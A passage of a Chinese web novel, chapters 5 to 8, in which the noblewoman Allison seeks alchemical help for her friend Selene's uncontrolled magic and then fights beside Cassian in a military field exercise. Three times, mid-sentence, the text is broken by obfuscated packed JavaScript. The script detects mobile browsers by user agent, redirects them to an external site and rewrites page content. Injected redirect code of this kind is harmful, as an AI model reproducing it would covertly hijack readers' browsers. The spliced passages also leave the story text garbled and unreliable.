别人的火球术只是拳头大小的火焰，赛琳的火球却像是前世记忆里拆迁队的大铁球——精准度也和那铁球差不多，干的都是“区域式打击”的活儿。 艾莉森沉默地看着训练场上被火球烧得焦黑的地面，艰难地开口：“赛琳，容我一问，你之前魔法课成绩不及格是因为……” 少女脸上浮起羞涩的红云，不好意思地摸了摸头：“因为……我没控制好力度，把考场整个烧掉了……” 艾莉森一时无言。赛琳的魔力如果无法精确控制，在战场上不分敌我的开大，后果实在是不堪设想，无法发挥该有的作用。 她的大脑飞速运转着，试图找到一个合适的解决方案。 然后，她想到了一个人——海蒂·兰卡罗德，自己的堂姐。 炼金研究院的首席。 5. 偏离值：1.5% 事件5： 伴随着马蹄声和清脆的铃响，装饰精美的马车驶过帝都繁华的街道。 车身由上等硬木制成，涂着深色漆料，车窗装饰着金色镶边，车门下方镌刻着兰卡罗德家的蔷薇狮子家徽，熠熠生辉。 车厢内铺着柔软的天鹅绒坐垫，深蓝色的椅背绣有精美的花纹，扶手包裹着细腻的皮革，每一处都彰显着高贵与考究。 “艾莉森，真的没问题吗？我……我第一次坐这么豪华的马车。”赛琳局促地开口，双手拘谨地放在膝上。 “别这么紧张。” 艾莉森倚着窗，手肘撑在窗沿上，托着下巴，望向窗外流动的街景。 “你的堂姐……她会愿意帮我们吗？”赛琳有些不安地说。 “海蒂·兰卡罗德虽然古怪，但她对炼金科技的热情无人能及。如果有谁能研究出帮助你控制魔力的方法，那一定是她。” 关于魔晶石的记忆，浮现在艾莉森的脑海。 在阿尔特蒂亚，魔晶是最重要的资源。 自从被发现可以用于承载魔法，展乃至能让普通人也能使用的炼金科技在各国可说是炙手可热—— 但开采魔晶危险极大，加上视魔法为正统，排斥炼金科技的保守派贵族的反对，炼金科技在号称拥有世界上最大魔晶矿的阿尔特蒂亚，却进展缓慢。 若不是上上代兰卡罗德公爵的资助，炼金研究院能否成立，还是个未知数。 海蒂.兰卡罗德目前便在这所炼金研究院就职。 她比艾莉森年长八岁，记忆中，是一个话不多却总带着稀奇小玩意儿的少女。每次海蒂随家人拜访兰卡罗德宅邸，家族的孩子们总会围着她转，期待她展示那些神奇的器物。 但后来，母亲却不再允许她与海蒂过多接触，理由自然是:“淑女可不能成天鼓捣些破铜烂铁，自降身价！” 事实上，她和堂姐已有多年未曾见面。 最后一次听到她的消息,还是在父亲的支持下,海蒂年仅十六岁便破格进入炼金研究院，成为该院第一位，也是最年轻的女研究员。 从此以后,海蒂更成为母亲那少有的来信中出场频率最高的反面例子: “首席又如何，作为一名贵族女性，没有人敢向她求婚——她的人生已经失败了。” 艾莉森不知道,母亲是真的这么想,还是说又找到了一个可以和父亲对抗的理由。 只是现在这些都不重要了。 * 马车行至王都西区，一座低调的建筑出现在眼前——炼金研究院。 它没有采用皇家军事学院那种恢弘的古典风格，而更像是一座贵族宅邸。唯有大门上用光路铭刻的“炼金研究院”字样，昭示着它的特殊性。 随着二人推门进入内部，赛琳自不用说，便是艾莉森，也被眼前从未见过的景象震撼了。 纵横交错的炼金管道，缓缓运转的巨大齿轮，四处闪烁的魔法能量光路……空气中弥漫着金属与药剂混合的气息，令人恍若踏入了另一个世界。 “欢迎来到炼金研究院。”不见人影，一个带着回音的男声在玄关处响起,赛琳吓了一跳，慌张地抓住艾莉森的手臂。 “别担心，只是传音装置。”艾莉森拍了拍，安慰道。 她想起小时候，海蒂也送过家里一个小型的传音装置，写着“给我最爱的堂妹艾莉森”。 但母亲认为家里仆役众多，派人传话便可以，这种炼金术的产物小家子气，便搁置在仓库里，再也没有用过。 “投资项目请到一号实验室，访客登记请到二号实验室，投诉抱怨请到三号实验室……”那个带着回音的声音将艾莉森从会议中拉回现实，随即从传音装置里传来“砰”的一声巨响，紧接着是一道带着怒气的女声： “尤里！跟你说了多少次了，传音装置不是玩具！被老大看见你又要挨骂！” 艾莉森和赛琳面面相觑，研究院不仅仅建筑风格和学院不同，连氛围也是大相径庭。 她们沿着楼梯走上二楼，正要询问，只见一位深色头发的青年大叫着跑了过来—— “师姐饶命啊！真不是我的错，是实验材料的问题！” “你有空玩传音装置戏弄访客，却没空照看实验材料，谁信啊？！” 看来，这两人就是刚才传音装置声音的主人了。 青年看见了艾莉森和赛琳，连忙理了理仪容，走上前来： “我是尤里，这里的见习研究员。请问有什么可以帮忙的？” 艾莉森微微颔首：“我叫做艾莉森·格雷·兰卡罗德，想请问贵院是否有一位名叫海蒂·兰卡罗德的研究员？她是我的堂姐，我有事相询。” 尤里怔了怔,说:“你找谁?” “海蒂·兰卡罗德。”艾莉森又重复了一遍。 在听清她要找的人后，尤里的表情风云变化。 “老大！你快出来！” 短暂的沉默后，本来各自专注于自己眼前工作的实验室众人的目光齐刷刷投来。 老大？ 这可真是个……奇特的称呼。 却十分亲切。 “别大呼小叫的，尤里。” 一道微显疲惫的声音传来。 人群中，一位穿着深色实验外褂的女子从炼金器材后探出身来，她摘下手套随意塞进口袋，又将挂在胸前的黄铜链无框水晶眼镜戴上。深棕色的头发由于疏于保养，显得有些毛躁，胡乱地盘在头上，令人联想到鸟窝。 这便是海蒂·兰卡罗德。 一时间,艾莉森竟无法将眼前的人和自己记忆中那个因过于沉默而显得有些怯懦的堂姐联系起来。事隔多年,海蒂早已褪去少女的青涩,她的气质依然安静,却流露出从前没有的松弛。 还未来得及寒暄，尤里便忍不住惊叹：“老大！你居然真的是兰卡罗德家的人？我们一直以为你唬人的！” “就是啊！哪家贵族千金会跑来研究院服苦役？”那位女研究员也附和道。 海蒂面无表情地瞥了他们一眼，随后转向艾莉森，笑道：“许久不见，找我有什么事？” 好像那七八年的岁月根本不存在一样,她们还是当初一起闯祸的小女孩。 艾莉森有很多话想和堂姐说，比如说分开以后的境遇，比如说自己的改变，比如说她未来的目标，但她知道，她此刻还有更重要的事情要问。来日方长，千言万语，最后落在一个带着真诚笑容的问候上： “久违了，海蒂姐姐。” 她简要说明赛琳的情况，以及她们此行的目的。 海蒂认真听她说完，皱起眉毛，弯下腰凑近赛琳，单手托着下巴，目光如扫描般将她从头到尾打量了个遍，又围着她转了一圈。 “你或者你先祖三代以内，有人是贵族吗?” “没有呢，我们一直生活在平民区。” “是因为魔法天赋才被选拔进入皇家军事学院?” “是的，这期里只有我。” 海蒂抬了抬眉，看向赛琳的目光里有了一丝转瞬而逝的复杂情绪，她随手抓过一个笔记本，在上面写写画画。 “小时候生过什么怪病吗？” “有过，但是痊愈了？” “魔力暴走？……有趣。除了你还有别的平民学生有这样的情况吗?” “呵呵呵呵呵呵……” 赛琳被海蒂的怪笑弄得浑身发毛，觉得自己成了眼前这个炼金师眼中的实验动物，只是看在艾莉森强烈推荐的份上，才努力维持着镇定。 她突然有些理解为什么有人会觉得炼金师都是异端了——不行,这是艾莉森的堂姐,她不能这么想。 “你们别介意，老大就是这样。”尤里小声解释，“不过她没直接拒绝你们，这是个好信号。” “我知道。”艾莉森耸了耸肩，“她从小就这样。” 一旦发现自己感兴趣的事物,海蒂就很容易沉浸在自己的世界里。就像现在，她抛下众人，自顾自地跑到实验桌前翻找什么，嘴里还念叨着谜一般的炼金术语。 没过多久，海蒂拿出一个奇怪的黄铜盒子。 “小姑娘，放个火球试试。” “这、这里吗？！” “当然不是，到院子里来。”海蒂朝赛琳努了努嘴，示意她们跟上，随即径直走向外间，“尤里，伊莉莎，你们都过来，带上测试器！” 片刻之后，研究院的的后花园，留下一片焦黑的草坪。 赛琳几乎快哭出来了，几乎是嗫嚅着对艾莉森低声请求着：“怎、怎怎怎么办……艾莉森，我不是故意的……” 反观海蒂，却是一脸兴奋：“这数值，了不起！” 她一把抓住艾莉森的手，眼镜的反光都泛着狂热，哪里还有一丝“沉默寡言”的矜持：“亲爱的艾莉森！请、务、必、让、我、帮、忙！” 意识到自己有些过于上头，海蒂清了清嗓子，又恢复到此前冷静的样子，但嘴角却压不住兴奋的笑意。 “我有些想法，或许能解决问题。但我需要详细的数据，你们恐怕得做一些配合测试。” 艾莉森迟疑道：“会不会耽误太久？离实战演练已经不远了……” “一个月！不，半个月！”海蒂伸出一根手指，信誓旦旦地说。 ——艾莉森和赛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826023|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳对视一眼，半个月，恰好是实战演练的前夕。 “我会配合。”赛琳抢先道，琥珀色的眼睛有着坚定的光芒，似是下定了某种决心。“就当是给这个花园赔罪吧……我可赔不起这些啊。而且……” “如果不这样做，我没信心能够通过今年的评级。”她看向艾莉森,有些无奈地笑了，“不会比现在更糟糕了。 * 从研究院回到学院时，已是傍晚。 桃心木书桌上静静地放着一封信——火漆封印上，是皇室象征的鸢尾双头鹰。 她挑开信封，烫金的信纸散发着淡淡的蔷薇与雪松的香气。 “尊贵的艾莉森·兰卡罗德小姐， 进来学业繁忙，疏于问候。学院中庭秋色正好，恰逢假日，最适小聚，共话旧事。我已备好银月玫果茶与点心，诚邀您于明日下午三时共度时光。 ——埃德蒙·雷恩。” 并不是埃德蒙的笔迹，大概是艾文代拟的吧。 即便如此，若是从前，她也一定是兴奋得睡不着，早早便开始准备赴约的服装搭配吧。 但如今这突如其来的邀请—— 时间点未免巧合了些。 艾莉森自嘲地笑了笑，放下信笺，挂好制服，随即一头栽进柔软的被窝。 明天的事，明天再说吧…… 舟车劳顿，她已经不愿意再为这些麻烦事费脑筋了。 第二天，艾莉森挑了条简单又不失大方的裙子，随意打扮了下，踩着点出现在学院的中庭。 深秋时节，被花匠精心修剪过的银月玫瑰花在魔法的加持下,盛放着最后一批秋季花蕾，微风拂过，梧桐叶相互摩擦的声音宛如唱诗班的歌声。 观景亭中，王子的侍从已经准备好了一切，等待艾莉森前来。 餐桌上铺着象牙白的桌布，摆放着点缀花纹的瓷器里盛放着艾莉森喜欢的点心，茶杯中，谈金色的茶汤泛着微光，热气氤氲，驱散渐凉的秋意。 埃德蒙.雷恩端坐在桌旁，银色短发被秋风轻轻吹拂着，仿佛油画一般。 艾莉森靠近时，他抬起那双紫水晶一般的眸子，温和笑道：“你来了，艾莉森。” “谢谢您的邀请，殿下。” “我的荣幸。”埃德蒙看着她，眼神是惯常的温柔，恐怕大多数少女都难以抵挡。 可惜，艾莉森不是“大多数”。 她垂眸看着杯中浅金色的茶汤，随意地与埃德蒙她聊着学院的近况，甚至还提及了几件从前的趣事，王子的目光落在她身上，不算炽烈，却带着一种若有若无的探究。 艾莉森不由得想起前世的一个词： “糖衣炮弹”。 “艾莉森，你最近忙吗？”茶水快饮尽时，埃德蒙看似轻描淡写地问道。 “要说忙，哪里比得上殿下呢？不过最近实战演练将近，的确比平时紧张了不少。”艾琳色放下茶杯，拨了拨长发，像所有为课业烦恼的学生一样，皱起了眉头。 “实战演练啊……难怪。”埃德蒙眼中闪过一丝不易察觉的情绪，“真是可惜了，我不能参加。有时候身处高位，反而受限。” “所以说，昨天你去研究院，是为了这件事吗？” “听说赛琳也去了？你能和她相处得这么融洽，倒是有些出乎我的意料。” ——艾莉森瞬间绷紧了神经。 昨天和赛琳去研究院的事，她并没有跟任何人提起过,就连为她们驾车的车夫,也以为小姐只是和朋友上街游玩。 埃德蒙殿下又怎么会知道? 她抬眸，目光里带着几分惊讶，“殿下消息倒是灵通，我的确去了一趟……不过是去探望许久没见的堂姐罢了。” “堂姐？”对面的王子微微眯起了眼，像是在判断她话语的真实性。 “嗯，她在研究院……工作。从前母亲不许我与她联系，如今在学院，难得有机会能独自出门，便和朋友一起去探望她。” 艾莉森将早就准备好的说辞搬了出来。 “夫人向来是帝国贵族女子的典范，”埃德蒙微微颔首。“许久没有问候她，听闻她前往兰卡罗德家南方的领地疗养，一切可还顺利？” 艾莉森轻轻一笑，近乎微不可闻地叹了口气，她已经很久没有见过母亲了。 有情人和密友相伴，南方的阳光，自然是比王都好上许多。 “母亲来信说，她过得很好。” 两人又寒暄的一会儿，艾莉森起身告别。 埃德蒙静静注视着她的身影消失在花园的拐角。 那张堪称完美的脸孔上，浮现出耐人寻味的笑容。 6. 偏移值：1.5% 实战演练如期而至。 狼溪谷是位于帝国王都远郊的一处丘陵，地形复杂，易守难攻。这一次实战演练如期而至,举行的地点，便选在此处。 头一晚，军事学院的学生们已经收到了地形简报和分组情况，按照惯例，他们被分为红蓝两方进行战斗，双方指挥官由三年级毕业生推选,而各小队的指挥则由其余能力出众的高年级生担任。 红方的总指挥是伊萨克.费尔南迪,正是埃德蒙.雷恩王子身边幕僚艾文.费尔南迪的二哥;而蓝方的总指挥则是布莱克家的长子,卡洛.布莱克。 黎明女神尚未重现天际,狼溪谷中已是一片肃杀之气,北部高地之上,蓝方士兵们紧张布防;而谷地南方,红方士兵整装待发,静待旭日初升的第一声军号. 位于战场西南部的密林,艾莉森和赛琳所在的小队正在待命. 她们如愿以偿分在了一起，而其他几个人，却像是教官为了看笑话硬塞进来的。 负责侦察的是维克多.图尔，是一个说话略有些结巴的少年，另一名治疗兵名叫弗兰克.温特莱，这两人和和赛琳一样，都是平民出身的一年级，成绩只能说擦边而过，甚至维克多前段时间因为违反纪律，再没有报备的情况下擅自离开校园,刚挨了一记处分。 而弗兰克的治疗能力嘛，只能说医不死人。 小队的队长，则是一名来自二年级的贵族学生:雷克斯.弗莱迪，他身材微胖，头发整齐地梳至前额,像是顶着一枚圆盾.他成绩优异,性格倒也和善,并没有贵族学生常见的傲慢。分组见面会上,他拍着胸膛信誓旦旦：“只要大家齐心协力，我们组拿个A+*不成问题！” 乐观得像要去参加郊游，而不是实战演练。 而真正的问题儿童—— 艾莉森的目光落向正坐在树下,面无表情擦拭佩剑的黑发少年，察觉到她的视线，那人抬头笑了笑，朝她挥了挥手，算是打了招呼。 卡西恩.布莱克,又是他。 “我说过，我们还有得聊。”昨天与组员们见面的时候，他悄然凑到艾莉森耳边，说了一句差点让她疯掉的话，“要我说，不如我们联手做掉那个胖子，夺取指挥权吧。” 他是不是有病？ 这个人在独来独往上向来是出了名的,没人主动组队也不奇怪,怎么偏偏就和自己分到了一起—— 教官们很难说不是故意的。 艾莉森觉得自己的战场首秀,在队友这一块,实在是运气不佳。 但值得庆幸的是,海蒂总算敢在实战演练开始之前,把特制的炼金魔枪送到了赛琳手上。 它静静地躺在厚重的金属盒子里,为稳固和防止磨损,内衬铺了一层无星之夜般的黑丝绒,黄铜色的枪管上,铭文交织成复杂的纹路,泛着深沉的光辉。 “艾莉森,它好漂亮.”赛琳小心翼翼地捧起魔枪,眼中的欢喜和敬畏不言而喻。 “现在是你的了,赛琳,好好用它。” 这半个月,别人都在练习室疯狂打模拟战,她们二人却是一趟又一趟跑炼金研究院。 背后自然少不了流言蜚语。 有人说,艾莉森早就靠家族关系拿到考试的豁免权,带着平民跟班天天在外面花天酒地; 又有人说,她压根无心学业,只是随便玩上一年给自己的裙摆上镀个金边; 最恶毒的流言,莫过于说他要去见某个情人,带上赛琳,是因为某些贵族的癖好…… 但是她们根本无暇反驳,每次回到学院,都已是精疲力竭。 赛琳除了需要被海蒂测量各种数据,还需要不断地实验,矫正,再实验,再矫正,而艾莉森,则自然而然地成了她的陪练。好几次,因为魔枪的校准和控制问题,艾莉森都觉得自己要把小命交待在赛琳手里。 如今这把枪,终于进入了海蒂口中的"beta测试"阶段,能够将赛琳过于强大的魔力以分散的形式填充为魔导弹—— 只是受限于个人体力和魔力储备,仍需谨慎使用。 其实,蓝方部队里有不少实力强大的魔法师,这把枪能发挥多大的作用,艾莉森心里也没底。 但她们也没有退路了。 赛琳那样柔弱的女孩子都没有怨言,自己又怎么能退缩? 艾莉森决定相信海蒂,也相信自己的决策。 于此同时,狼溪谷战场外围的东部荒原,教官们围着魔法沙盘,热烈地讨论着。 “卡洛这孩子的确优秀,只是有时候太过追求效率，难免有些激进，这次让他做防守方,应该是不错的挑战。” “伊萨克也很不错,但是他过于谨慎了,又太依赖传统战术,他来做进攻方-----神明在上,麦克雷,你这次的安排实在让人大开眼界!” “还有这个!”另一名教官指着分组名单,“把兰卡罗德家的大小姐和布莱克家的私……”那人看向一旁的受邀观战的埃德蒙.雷恩王子,连忙改口,“……布莱克家的次子分在一起,麦克雷,你莫不是在公报私仇?” “我不会真和小姑娘计较,”麦克雷从鼻子里哧了一声,环视众人,意味伸长道:”诸君,我等皆是历经沙场之人,战场中若无变数,岂不是太过无趣了?” 众教官都笑了起来。 埃德蒙.雷恩的注意力并不在麦克雷的战争美学上,他的目光落在沙盘西南方的密林中,六颗红色的魔法水晶微微地闪烁着,代表着此地依旧”存活”的学生。 “殿下,那应该便是艾莉森小姐所在的小队了。” 艾文作为王子的近侍和幕僚,同样没有参加演练,他顿了顿,低声说:“我听说……那位小姐,几乎没在学院准备。” 年轻的幕僚有些为难,他实在不明白,主君最近为何对这位麻烦的未婚妻关心了起来,甚至此前还邀请她共进下午茶? “你的观察力还有待加强,艾文。”银发的王子淡淡笑道,托着一杯银月玫果茶,修长的手指轻轻摩挲着茶杯的边缘，紫色眸子里满是兴味。 “让我们静观其变吧.” * 晨雾裹着潮湿的腐叶气息,在密林中缓缓流动,天色微亮,远方传来沉闷的战鼓声,惊起一片飞鸟。 “主力部队开始推进了。”维克多收回望远镜,转向一旁的雷克斯,低声问道:“队长,现在做什么?” “待……待命!”雷克斯喉头滚动,眼神飘向林外,他感到喉咙发紧,不由得咽了咽口水。 “不对吧,队长,”冷不防地,卡西恩从他手中一把抢过方才传令兵送来的羊皮纸,目光扫过其中的内容:”这上面明明写着,‘伏击蓝军巡逻队,制造混乱,牵制敌方’。” “你你你……你做什么?!”雷克斯惊慌失措,伸手去夺,奈何卡西恩比他高了一个头,几次扑空,才终于抢回羊皮纸,攥在手里。 “别做无谓的事,卡西恩.”艾莉森出声阻止,眼神如刀:”你是想把敌军引来吗?还是——”她眯了眯眼，“真打算夺权？” “我可不敢,大小姐。”卡西恩冷笑一声,双手还臂,转向雷克斯,”但我们总该遵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15826024|175526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 照命令,不是吗,队长?” “队长，西南方向发现蓝军侦察队。”维克多低声汇报,双手紧握着望远镜。 冷汗从雷克斯的额角滑落，按在剑柄上的手指关节因为过度用力而泛白,脸颊上的肌肉不受控制地微微抽搐着。 他想要开口,脑中却一片空白。 “队长，请下命令！”艾莉森低声催促。 "或许...我们可以绕到……到……”雷克斯的声音微不可闻,手中的战术地图已被汗水浸透。 突然——“咚！” 雷克斯直挺挺地倒了下去。 众人一惊,弗兰克作为治疗兵立刻跑上前检查,片刻后,他神情变得复杂,有些艰难地开口: “队长他……因为过于紧张……晕过去了。” “废物。” 卡西恩冷冷吐出两个字,毫不掩饰他的鄙夷,他不客气地踢了倒下的雷克斯一脚,随即从他手中夺过命令和地图,眼神一凛,沉声道:“现在开始,我来指挥------没有时间犹豫了。” 敌方侦察队已近在咫尺。 “艾莉森左翼,我右翼,赛琳和维克多支援。弗兰克,你照顾好这个胖子，战场不需要会晕倒的指挥官。”他用手指在脖颈上一划，冷冽道， “现在,送他们上路。” 他的语气里有着不容质疑的威严。 “收到!”众人齐声应道。 * 东部荒原,军事指挥中心。 “看,红方密林小队发动伏击了。” 一名教官指向沙盘的西南角,六颗的红宝石,其中一枚闪烁了几下,便迅速褪去光芒,剩下的五颗宝石则飞速移动，分成两翼，很快便与林中遭遇的另外六颗蓝色宝石交战。 “奇怪,行动开始前就有减员?” 教官们打开分组名单,其中一位二年级的教官恍然大悟,“雷克斯.弗莱迪啊.......这小子八成是一紧张就晕倒的毛病又犯了.”他恨铁不成钢地叹了口气:“我早就警告过他父母,他根本不适合成为军人,但那二位铁了心,认为自己孩子家世好、成绩也好,是我们有眼无珠,要我们再给他一次机会。等这次实战演练结束,总算可以把他劝退了。” 众人纷纷点了点头,模拟战尚且如此,又有谁能给因指挥失误而丧命的士兵第二次机会？ “现在是有人接管了指挥权吗?”一名教官目光微凝。 “密林小队的话,应该是卡西恩.布莱克。”一名教官看着名单,视线落在沙盘上逐渐熄灭的蓝色宝石上，语气带着几分赞叹：“时机堪称完美……在小队突发变故时冷静接掌，迅速判断，精准伏击，他果然是新生里数一数二的战术人才。” 沙盘上，红方主力依旧在正面推进，试图突破战线，但收效甚微。唯独密林中的四颗红色宝石仍在迅速穿梭，宛如一把锋利的匕首，在蓝军巡逻线上划开一道道血口。 “游击战，”麦克雷皱眉,想起那个在课堂上总是和他争执的女孩.”他们在利用地形掩护。” 此刻，所有人的目光都聚焦在那支密林小队上。 它就像潜伏于黑暗中的红色鬼魅，迅捷无声，却精准致命。 “以小队的人数来说,他们没有优势.”艾文摇了摇头,”强行突破,这样太冒险了。” “如果能造成理想的效果,冒险也未尝不可,何况……”目光落在沙盘某处，埃德蒙的手指轻点那片被红宝石光芒照亮的区域，意味深长道：“何况……他们或许还藏着秘密武器。” 7. 偏移值：1.5% 炼金魔枪震颤着发出蜂鸣，魔法回路如星辰次第点亮，在枪膛内汇聚成耀眼光团。扳机扣动的刹那，赤红弹流化作陨星火雨，仿佛巨兽张口，顷刻间将蓝方仓促构筑的防御撕得粉碎。 “1、2、3、4……全数歼灭。” 维克多走出掩体，仔细地清点着横七竖八倒在地上的蓝队学员，向卡西恩汇报。 卡西恩的军靴无视枯枝的抗议，碾过泥泞，留下清晰的脚印。他俯下身，唇角带着嘲弄，对已经失去意识的蓝队队员道：“错估敌方实力，就是你们失败的开始——学会了吗？” 艾莉森扫了眼地上的断枝，一脚踢开：“这句话对你也一样适用，卡西恩。” “游击战术难道不是你最擅长的吗，大小姐？我倒不知道你是这样谨慎的人。”卡西恩抬眼望向艾莉森身后的的棕发少女：“你这把枪，倒是有些意思。” 赛琳持枪的手因为巨大的后座力仍有些颤抖，细碎的汗珠打湿了发梢，但卡西恩却像是完全并没有注意到，只是瞥了她一眼，便收回了目光。 “继续前进，清理敌方巡逻小队。” 艾莉森凑到友人身边，低声关心道：“你还好吗？魔枪的消耗似乎很大。” “我没事。”赛琳摇摇头，朝她感激一笑，“走吧，艾莉森。” “维克多，你能在行进路线上布置陷进吗？”艾莉森叫住同伴，指了指手中的战术地图，道：“我们需要确保退路，尤其是这里……” “……”向来惜字如金的少年摸了摸头，抬头望向前方的卡西恩，似乎有些拿不准该不该听从艾莉森的建议。 “按她说的做吧，”卡西恩点了点头，唇角勾起一个嘲讽的笑容：“女人嘛，总需要一些安全感。” “有些男人总是过度自信。” 艾莉森已经懒得掩饰自己的白眼——这个家伙能不能别这么讨厌？！ 卡西恩低笑起来，刚要继续往前，却突然停了下来，目光一凝。 “怎、怎么了，队长？”一旁跟随的弗兰克有些紧张地问。 卡西恩回头看了眼面无表情的艾莉森，“切”了一声：“大小姐，你的反应实在太无趣了……” “别这么幼稚，队、长。” 艾莉森压根不愿理会卡西恩的玩笑，拉着赛琳，径直走入林中。 卡西恩饶有兴趣地看着她的反应，直到维克多布置好陷阱，其他人也都按计划进入了隐蔽点，才回头望向方才的伏击点—— 一切正常。 包括他故意留下的枯枝和脚印。 接下来，只待鱼儿上钩。 卡西恩轻笑，身影亦随着队友的步伐，隐入林中。 在他们看不到的地方，一只散发着魔法辉光的半透明乌鸦，落在了树梢上，幽蓝色的双瞳，仿佛夜空中幽冷的星子。 * 一声鸦鸣回荡在林间。 卡西恩眉头微皱，目光瞬间变得锋利，他抬起手，示意小队众人停下。 “不对劲。” “队长，别又开这种玩笑……”弗兰克上过一次当，有些头疼地开口—— 下一秒，数支箭矢破空而来，精准地射向小队隐蔽的方向。 “是伏击！”艾莉森低喝，迅速翻滚闪身，避开攻击，赛琳亦举起魔枪，弹流激射而出，为队友们做出掩护。 子弹掀起乱流，树木应声倒下，待一切平静时，小队众人已不见踪影。 “他们逃不了。”阴影中走出一道披着斗篷的身影，他吟出一段复杂的咒文，手中再次凝结出一只由魔法符文组成的乌鸦。 那乌鸦扇了扇翅膀，朝卡西恩等人撤退的方向飞了出去。 “追！”斗篷男子做了个手势。 林子的另一头，卡西恩亦带领小队在林中疾驰： “是安吉洛.维吉尔，卡洛的亲信——我们的行动奏效了。” 由于密林中的骚扰，蓝军巡逻队损失重大，卡洛派出精通侦察魔法的安吉洛，正是为了迅速处理掉威胁。 “安吉洛最擅长的便是侦察魔法，以咒文召唤的‘真实之鸦’，能够识别陷阱，追踪隐藏的敌人，除非施术者力竭，否则无法杀死乌鸦——是完美的探子。” “我们之前留下的树枝和脚印，足够让安吉洛察觉行踪。” “赛琳，维克多，弗兰克，把他们引入陷阱区域；艾莉森，去你之前说的那个地方——” 艾莉森和他对视一眼。 无需多言，她意识到对方想做什么。 “你早就注意到了？”艾莉森不可置信地说。 卡西恩耸了耸肩，露出他那标志性的嘲讽笑容，好像在说：“不然呢？” 要不是现在不是斗嘴的时候，艾莉森真想直接把手里剑朝他扔过去——这人早早算计好了一切，连故意露出的破绽，都是为了引敌人上钩。 而自己居然还跟个白痴一样，提醒他要“谨慎”！！ “好了大小姐，虽然你现在的表情很精彩，但我们最好抓紧点时间，去干掉那个魔法师。”卡西恩眨了眨金绿色的眼睛，打趣道。 “你最好别把我卖了，卡西恩。”艾莉森低声抱怨道，脚步却没有放缓。 * 紧随魔法乌鸦的指引，安吉洛带领小队，穿梭在密林之中。 “队长，浓雾阻隔视线，恐怕有陷阱。”一名队员策马来到安吉洛旁，低声提醒道。“那个私生子向来诡计多端。” 安吉洛闻言拉住僵绳，口中吟出一段咒文，魔法乌鸦受到操纵，在树梢盘旋一圈，随即回到主人的身边，发出刺耳的鸣叫。 “果然有诈，”安吉洛抬手，示意众人下马检查，不多时，果然在两根树木之间，发现了一条藤曼做成的绊索。 他冷哼一声，不以为意，“小儿科的玩意。在‘真实之鸦’面前，一切陷阱都将无所遁形。” 突然，乌鸦尖叫一声，一只弩箭将它精准地钉在树干上，瞬间化作无数虚幻的光点。 “小心！”一名队员发声示警，话音未落，已迎来了暴风骤雨一般的火球攻势。 “炼金武器？”霎时间，安吉洛有些惊讶，“但这个威力……怪不得我们的巡逻队受损严重。”他迅速反应，大声喝到：“组织防御！密林作战，他们火力有限！” 然后，就在此时，一阵令人心惊隆隆声传了过来—— 竟是数段腰粗的圆木，夹带这枝叶和泥土，从树林中滚了下来。 极短时间内的三段攻击，即便有“真实之鸦”示警，安吉洛小队也来不及反应，被滚木冲得七零八落，十分狼狈。 浓雾之中传来弗兰克的叫骂声：“白痴蛀虫，你们那被珍珠粉泡发的脑子现在有没有清醒一点？口口口全家口口口口你妈口口口…” 他骂得极脏，残存下来小队成员大多是贵族子弟，哪里听过这样的污言秽语。 “蠢货！有种滚出来！！”一名蓝军士兵怒吼着，却在下一秒被不知从何而来的捕兽夹卡住了脚踝，痛呼声划破寂静。 “保持阵型，不要乱动！”安吉洛低声警告，但接连几声弓弦的嗡鸣，几支箭矢从不同方向飞来，让本就被滚木冲散的队伍彻底乱了阵脚。 霎时间，马儿受惊的嘶鸣，蓝方士兵的叫喊，混合着陷阱触发的声音，让整个场面乱作一团。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他自视甚高，如今却被一群比自己小的低年级生——甚至还是他向来瞧不起的私生子——如此戏耍，羞辱和不甘同时涌上心头，恨不得将眼前之人撕成碎片。 “卡洛说得没错，你这样的人根本配不上布莱克家的血统！” 卡西恩瞥了他一眼，其中的寒意，竟是让旁观的艾莉森也禁不住打了个冷战。 片刻后，他似是平缓了一下情绪，缓缓开口道：“我可听不懂狗语。” 他转过身，朝艾莉森伸出手道：“大小姐，你带着手帕吗？” 艾莉森不明所以，但还是把自己的手帕交给了他。 只见卡西恩顺手从地上抄起一把烂泥，用手帕裹住，极其粗暴地塞进安吉洛的嘴里——他的骂声瞬间变成了意义不明“呜呜”声。 紧接着，卡西恩放出一枚红色信号弹，他不再理会安吉洛，问艾莉森道：“大小姐，你说，伊萨克.费尔南多能够抓住这个机会吗？” 片刻之后，红方营地中，清凉的军号声划过长空—— 艾莉森望向空中炸开的烟雾，“他已经注意到了。” 安吉洛闻言瞪大了眼睛，面若死灰，他突然明白，他们犯了一个巨大的错误。 “大小姐，可否劳烦你去把维克多叫回来，他那些偷溜出学院的‘反侦察’手段，我们还用得上。” 他望向林中仍依稀传来打斗声的某处，唇角勾起危险的笑容：“看不到卡洛.布莱克此刻的表情，真是遗憾啊。” 那笑容与他平时或冷嘲或讥讽的神色不同，艾莉森从中捕捉到的是—— 仇恨。 8. 偏移值 ：2% 